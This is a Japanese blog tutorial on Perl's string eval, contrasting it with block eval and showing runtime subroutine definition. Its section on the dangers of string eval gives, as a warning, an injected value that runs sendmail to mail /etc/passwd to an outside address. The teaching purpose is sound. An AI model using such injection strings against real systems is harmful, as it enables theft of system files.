blog20100901

2013/08/20 - プログラミング言語 Perl にまつわる etc. - Perl monger
参考 : perldoc, perldoc.jp, search.cpan.org, perldoc.perl.org ...
「 初めての Perl 第 6 版 」(オライリー・ジャパン発行 ISBN978-4-87311-567-2) 」
「 続・初めての Perl 改訂版 」(オライリー・ジャパン発行 ISBN4-87311-305-9) 」
「 Effective Perl 第 2 版 」(翔泳社発行 ISBN978-4-7981-3981-4) 」 ... etc,.

Perl Perl_5

Perl eval 02 文字列 eval (0x271)

Perl eval 02 文字列 eval (0x271)

目次 - Perl Index



Theme



Perl について、復習を兼ねて断片的な情報を掲載して行く連載その 0x271 回。


Perl で、「 致命的なエラー 」をトラップ ( 捕捉 ) する関数「 eval 」を確認する。その 02。「 文字列 eval 」について。


「 eval 」の書式



eval - perldoc.jp によれば、「 eval 」の書式は次のものです。


eval EXPR
eval BLOCK
eval



2 番目の「 BLOCK 」を利用する形式は、前々回 (0x26f) と 前回 (0x270) で確認したものです。

引数が「 BLOCK 」なので、その中には好きなだけ構文を書き込むことが出来ます。

戻り値は、サブルーチンと同じく、最後に評価された「 式 」の値です。また、これもサブルーチンと同じく、演算子「 return 」(0x36)の利用も可能です。

「 BLOCK 」内の構文は「 eval 」が構文解析 ( parse ) されるタイミング、つまり、プログラムのコンパイル時に一度だけ構文解析されます。

この書式は、効率的な例外のトラップを可能にするとのことです。

1 番目の「 EXPR 」を利用する形式は、いわゆる「 文字列 eval 」と呼ばれる形式です。今回は、この「 文字列 eval 」というものを確認してみます。

3 番目の書式は、引数を暗黙のスカラ変数「 $_ 」として処理します。

ちなみに、「 EXPR 」は「 expression 」( 式 ) を意味する用語です。


文字列 eval



「 文字列 eval 」の引数「 EXPR 」は、あたかもそれが Perl のプログラムであるかのように解析・実行されます。これは、「 引数の文字列をコードして解釈して実行する 」ともいわれる機能です。

少しわかりにくい解説ですが、実際にコードを書いて実行してみると理解出来ます。


文字列をコードとして実行する その 1



まず、イヴァル(eval関数)- CGI-Perlの基礎講座(p07) の例示を確認してみます。

(0x07) で確認したように、Perl には、「 文字列リテラル 」と「 数値リテラル 」( 整数リテラル, 浮動小数点数リテラル ) があります。

通常数値の計算を行いたい場合は、(0x08) で確認したように、値を「 数値リテラル 」で記述しなければいけません。

これにしたがって、次の構文は数値リテラル「 3 * ( 5 + 3 ) 」で計算した結果と、文字列連結演算子「 . 」( period ) で連結した改行文字「 \n 」を print 文で出力しています。


# 24
print 3 * ( 5 + 3 ) . "\n";



もし、数値リテラルの部分をクォーティングして文字列リテラルとすると、数値演算は行われないので、print 文の出力は文字列「 3 * ( 5 + 3 ) 」になります。


# 3 * ( 5 + 3 )
print "3 * (5 + 3)" . "\n";



さて、ここで「 文字列 eval 」です。

「 文字列 eval 」は、引数の「 EXPR 」を「 コードとして解釈して実行 」します。ですから、次のように記述すると、


# 24
print eval("3 * (5 + 3)") . "\n";



数値として計算された結果「 24 」が得られます。

これを、「 BLOCK 」形式の eval とすると、


# 3 * ( 5 + 3 )
print eval{"3 * (5 + 3)"} . "\n";



同じ eval でも、結果は文字列「 3 * ( 5 + 3 ) 」が出力されます。

もちろん、次のように「 BLOCK 」内で「 文字列 eval 」を利用すれば、


# 24
print eval{ eval("3 * (5 + 3)") } . "\n";



数値の計算結果「 24 」を得ることが出来ます。


文字列をコードとして実行する その 2



次に、第7回 新人さんのための仕事で使えるPerl基礎知識(2)- Perl Hackers Hub の例示を確認します。

次のコードは、スカラ変数「 $code 」にクォート演算子「 qq 」(0x1e) で囲んだ文字列リテラルを格納しています。


my $code;
for my $name ( 'foo', 'bar' ) {

# 文字列リテラルを格納
$code .= qq/sub $name { print "this is $name\n" }/;
}



このコードでは、文字列連結演算子の二項代入演算子「 .= 」(0x86) によってスカラ変数「 $code 」に次の *文字列* が格納されることになります。


sub foo { print "this is foo\n"}sub bar { print "this is bar\n"}



まるで、サブルーチン「 foo 」と「 bar 」が定義されているように見えますが、この時点では、これらはただの文字列です。

これを次のように、「 文字列 eval 」の引数として一度実行します。


eval $code;



すると、スカラ変数「 $code 」の文字列は、Perl のプログラムコードとして解釈されるので、これ以降の行では次のように、サブルーチン「 foo 」と「 bar 」を利用することが出来ます。


# this is foo
foo();

# this is bar
bar();



全体をまとめると次のようになります。


# サブルーチンとして解釈可能な *文字列* をセット
my $code;
for my $name ('foo', 'bar') {
$code .= qq/sub $name { print "this is $name\n"}/;
}

# この時点ではサブルーチンとして定義されていない
#foo();
#bar();

# この時点で初めてサブルーチンとして解釈されて定義される
eval $code;

# this is foo
foo();
# this is bar
bar();



これが、perldoc でいうところの「 EXPR のテキストのパースと実行を実行時にまで 遅延させる 」ことに当たります。

「 続・初めての Perl 」( 14.3 ) では、メソッド「 AUTOLOAD 」内で「 文字列 eval 」と「 goto 」を利用することで、「 実行時までコンパイルされないメソッドの定義方法 」としてこの機能が使われています。


「 文字列 eval 」の危険性



一般に、「 eval EXPR 」で表される「 文字列 eval 」は危険だと言われています。

ここでは、Perl の危険な関数 - IPA ISEC の例示を参考にその危険性を確認します。

まず、前述した通り「 文字列 eval 」は与えられた「 EXPR 」をコードとして解釈して実行するので次のように利用することが可能です。


my $x = 6;
my $y = 3;
my $ans;

my $exp = '$ans = $x/$y';

# 文字列 eval で式を実行
eval ($exp);

if ($@) {
die "ERROR: $@";
} else {
print "$ans\n";
}



しかし、もしスカラ変数「 $exp 」に格納する値が次のものだったらどうなるでしょうか。


my $exp = '$ans = 1/1; system("sendmail foo@bar.com < /etc/passwd");'


これを「 文字列 eval 」で実行すると。。

実行するシステムコマンドをよりシンプルな「 ls 」として動作を確認してみます。


my $exp = '$ans = 1/1; system("ls");'

eval($exp);

if ($@) {
die "ERROR: $@";
} else {
print "$ans\n";
}



すると、3 行目の「 文字列 eval 」でシステムコマンド「 ls 」が実行されるので、結果は次のようになります。


file.1 file.2 file.3 file.4
1



これは、(0x258) で確認した関数「 system 」および「 exec 」での注意点と類似した懸念です。

つまり、「 文字列 eval 」に引数として与える値が外部から入力された未知の値だった場合は、その値を十分に検査してから利用する必要があります。


0x271 -> 0x272 へ



次回は、評価演算子「 /e 」について確認します。


参考情報は書籍「 初めての Perl 第 6 版 」を中心に perldoc, Wikipedia および各 Web サイト。それと詳しい先輩。

目次 - Perl Index



















同じカテゴリー(Perl)の記事
 Perl mp2 翻訳 Web コンテンツ圧縮の FAQ (d228) (2023-10-11 23:49)
 Perl mp2 翻訳 既知のブラウザのバグの回避策をいくつか (d227) (2023-05-26 15:41)
 Perl mp2 翻訳 Perl と Apache でのキュートなトリック (d226) (2023-05-19 17:05)
 Perl mp2 翻訳 テンプレートシステムの選択 (d225) (2022-08-15 22:23)
 Perl mp2 翻訳 大規模 E コマースサイトの構築 (d224) (2022-06-15 20:43)
 Perl mp2 翻訳 チュートリアル (d223) (2022-06-15 20:42)
上の画像に書かれている文字を入力して下さい
 
<ご注意>
書き込まれた内容は公開され、ブログの持ち主だけが削除できます。

Llama
リャマ
TI-DA
てぃーだブログ
プロフィール
セラ (perlackline)
セラ (perlackline)
QRコード
QRCODE
オーナーへメッセージ

PAGE TOP ▲